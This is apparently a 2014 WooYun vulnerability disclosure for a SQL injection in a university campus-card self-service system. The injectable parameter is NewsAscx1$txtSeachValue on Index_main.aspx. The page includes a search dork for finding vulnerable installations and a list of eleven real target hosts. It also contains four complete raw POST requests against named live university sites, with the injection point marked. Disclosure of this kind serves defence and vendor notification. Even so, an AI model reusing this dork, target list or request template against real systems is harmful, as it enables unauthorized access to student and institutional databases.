当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078341

漏洞标题：某校园一卡通平台通用型SQL注入漏洞#2(已补充数据)

相关厂商：cncert国家互联网应急中心

漏洞作者： Coody

提交时间：2014-10-11 15:04

修复时间：2015-01-09 15:06

公开时间：2015-01-09 15:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-15： 厂商已经确认，细节仅向厂商公开
2014-10-18： 细节向第三方安全合作伙伴开放
2014-12-09： 细节向核心白帽子及相关领域专家公开
2014-12-19： 细节向普通白帽子公开
2014-12-29： 细节向实习白帽子公开
2015-01-09： 细节向公众公开

简要描述：

我是来补充数据的。。。确实是可以跑数据的。。。

详细说明：

之前提交的
http://www.wooyun.org/bugs/wooyun-2014-077752/trace/721caa6272f35ba5b35ae695897195ad
无法有效获取数据，如果真是危害，请提供有效的危害证明
-------------------------------------
版权所有：郑州新开普电子技术有限公司
百度dork：一卡通自助查询管理系统--首页
漏洞页面：Index_main.aspx
漏洞参数：NewsAscx1$txtSeachValue
网站架构：Aspx + Oracle 

收集案例： 
http://ecard.sdut.edu.cn/ 
http://ecard.bzmc.edu.cn/ 
http://ecard.sdca.edu.cn/ 
http://59.173.236.220/SelfSearch/Default.aspx 
http://202.115.192.98/SelfSearch/ 
http://ykt.szetop.com/SelfSearch/ 
http://yktweb.cqie.cn/default.aspx 
http://www.zhengzhong.cn/selfsearch/ 
http://221.224.167.141/selfsearch/ 
http://zzcx.scujjedu.cn:114/ 
http://202.101.244.45/selfsearch/


<漏洞证明>
1# http://ecard.sdut.edu.cn

测试数据：
POST /Index_main.aspx HTTP/1.1
Host: ecard.sdut.edu.cn
Proxy-Connection: keep-alive
Content-Length: 472
Cache-Control: no-cache
Origin: http://ecard.sdut.edu.cn
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ecard.sdut.edu.cn/Index_main.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=13lcxo45xzftjo45akjjvaqp
NewsAscx1$ScriptManager1=NewsAscx1$ScriptManager1|NewsAscx1$BtnSeachNews&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTc3MDE2Njk5MA9kFgICAw9kFgQCAw9kFgICAw8WAh4HVmlzaWJsZWhkAgUPZBYCAggPZBYCZg9kFgQCAQ8WAh4LXyFJdGVtQ291bnRmZAIDDw8WAh4LUmVjb3JkY291bnRmZGRkGx778QkVLl0uTXXXHvCJvfIymfk%3D&__EVENTVALIDATION=%2FwEWBgK1kJvCDALs88G8CwLt88G8CwLu88G8CwKSkKIgAo%2F77%2BIJtbVnBjJDv0ANt34XZhmPgVTB7SE%3D&NewsAscx1$QueryList=1&NewsAscx1$txtSeachValue=*&NewsAscx1$BtnSeachNews=
测试结果：
QQ图片20141004225853.jpg







QQ图片20141004225925.jpg


2# http://yktweb.cqie.cn/

测试数据：
POST /Index_main.aspx HTTP/1.1
Host: yktweb.cqie.cn
Proxy-Connection: keep-alive
Content-Length: 482
Cache-Control: no-cache
Origin: http://yktweb.cqie.cn
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://yktweb.cqie.cn/Index_main.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=rkrnoz45lhjw4kz4j4tm4pya
NewsAscx1$ScriptManager1=NewsAscx1$ScriptManager1|NewsAscx1$BtnSeachNews&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTIxMzgxMzY2NDQPZBYCAgMPZBYEAgEPZBYCAgMPFgIeB1Zpc2libGVoZAIDD2QWAgIID2QWAmYPZBYEAgEPFgIeC18hSXRlbUNvdW50ZmQCAw8PFgIeC1JlY29yZGNvdW50ZmRkZKnIPSMMUWKvG6zzqN%2Flnf1IUKxI&NewsAscx1$QueryList=1&NewsAscx1$txtSeachValue=*&__EVENTVALIDATION=%2FwEWBgLfv8LlBgLs88G8CwLt88G8CwLu88G8CwKSkKIgAo%2F77%2BIJu%2BIGGKf1HcCxFE2mzxs4bwQwSqo%3D&NewsAscx1$BtnSeachNews=
测试结果：
QQ图片20141004230316.jpg


3# http://202.101.244.45/selfsearch/

测试数据：
POST /selfsearch/Index_main.aspx HTTP/1.1
Host: 202.101.244.45
Proxy-Connection: keep-alive
Content-Length: 1158
Cache-Control: no-cache
Origin: http://202.101.244.45
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://202.101.244.45/selfsearch/Index_main.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=zbnu33550ldkaf552rbynojn
NewsAscx1$ScriptManager1=NewsAscx1$ScriptManager1|NewsAscx1$BtnSeachNews&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTc3MDE2Njk5MA9kFgICAw9kFgQCAw9kFgICAw8WAh4HVmlzaWJsZWhkAgUPZBYCAggPZBYCZg9kFgQCAQ8WAh4LXyFJdGVtQ291bnQCCBYQAgEPZBYCZg8VAgM5MzUr5Y2h5Yqh5Lit5b%2BD5YWF5YC854K5MjAxNOWbveW6huWAvOePreWuieaOkmQCAg9kFgJmDxUCAzkzNCLkuIDljaHpgJoyMDE05bm05pqR5YGH5YC854%2Bt5a6J5o6SZAIDD2QWAmYPFQIDOTMzLeWFs%2BS6juavleS4mueUn%2Bemu%2BagoeWJjeS4gOWNoemAmuS9v%2BeUqOmcgOefpWQCBA9kFgJmDxUCAzkzMiHlhbPkuo7mmoLlgZzlnIjlrZjmnI3liqHnmoTpgJrnn6VkAgUPZBYCZg8VAgM5MzEl5LiA5Y2h6YCaMjAxM%2BW5tOS4reeni%2BiKguWAvOePreWuieaOkmQCBg9kFgJmDxUCAzkzMCrljZfmmIzmoKHljLrljaHliqHkuK3lv4Plt6XkvZzml7bpl7TosIPmlbRkAgcPZBYCZg8VAgM5Mjkr5Y2h5Yqh5Lit5b%2BDMjAxM%2BW5tOerr%2BWNiOiKguWAvOePreWuieaOkuihqGQCCA9kFgJmDxUCAzkyODrljaHliqHkuK3lv4PlhbPkuo4yMDEz5bGK5q%2BV5Lia55Sf5Yqe55CG56a75qCh5omL57ut6K%2B05piOZAIDDw8WAh4LUmVjb3JkY291bnQCJ2RkZOuqzyguSwIkjpk0SKfSMeCF6BbH&__VIEWSTATEGENERATOR=706A1336&__EVENTVALIDATION=%2FwEWBgL9xrzaAgLs88G8CwLt88G8CwLu88G8CwKSkKIgAo%2F77%2BIJwWwPIRLCSBjl1d%2FR%2B6mX9fRqHt4%3D&NewsAscx1$QueryList=1&NewsAscx1$txtSeachValue=*&NewsAscx1$BtnSeachNews=
测试结果：
QQ图片20141004230723.jpg







QQ图片20141004230844.jpg







QQ图片20141004231015.jpg


4# http://ecard.sdca.edu.cn/ 

测试数据：
POST /Index_main.aspx HTTP/1.1
Host: ecard.sdca.edu.cn
Proxy-Connection: keep-alive
Content-Length: 988
Cache-Control: no-cache
Origin: http://ecard.sdca.edu.cn
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ecard.sdca.edu.cn/Index_main.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=yjpixyr3qr2i2qulm3tzyav5
NewsAscx1$ScriptManager1=NewsAscx1$ScriptManager1|NewsAscx1$BtnSeachNews&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTc3MDE2Njk5MA9kFgICAw9kFgQCAw9kFgICAw8WAh4HVmlzaWJsZWhkAgUPZBYCAggPZBYCZg9kFgQCAQ8WAh4LXyFJdGVtQ291bnQCCBYQAgEPZBYCZg8VAgMyNTMh5paH5Lic5qCh5Yy65qCh5Zut5Y2h5YiH5o2i6YCa55%2BlZAICD2QWAmYPFQIDMjUyFeagoeWbreWNoeWNh%2Be6p%2BmAmuefpWQCAw9kFgJmDxUCAzI1MTEyMDEz57qn5paw55Sf6IGU5ZCN5Y2h5LiA5Y2h6YCa5Yqf6IO95L2%2F55So6K%2B05piOZAIED2QWAmYPFQIDMjUwHDIwMTPnuqfogZTlkI3ljaHlj5HmlL7pgJrnn6VkAgUPZBYCZg8VAgMyNDgh5a6%2F6IiN5oyH57q56ICD5Yuk5py65L2%2F55So6K%2B05piOZAIGD2QWAmYPFQIDMjQ3JOagoeWbreWNoeaMguWkseOAgeino%2BaMguihpeWNoeS4muWKoWQCBw9kFgJmDxUCAzI0NhXmoKHlm63ljaHovazotKbkuJrliqFkAggPZBYCZg8VAgMyNDUP5qCh5Zut5Y2h5YWF5YC8ZAIDDw8WAh4LUmVjb3JkY291bnQCCmRkZCwNv%2B79jKPkrS8uO1Z7LWIlb6mI&NewsAscx1$QueryList=1&NewsAscx1$txtSeachValue=*&__EVENTVALIDATION=%2FwEWBgKltsyFAgLs88G8CwLt88G8CwLu88G8CwKSkKIgAo%2F77%2BIJR32X74LMCznc5p%2FO0Tsn48QE8SE%3D&NewsAscx1$BtnSeachNews=
测试结果：
QQ图片20141004231451.jpg







QQ图片20141004231735.jpg


<这下应该可以了>

漏洞证明：

修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2014-10-15 17:51

厂商回复：

最新状态：

暂无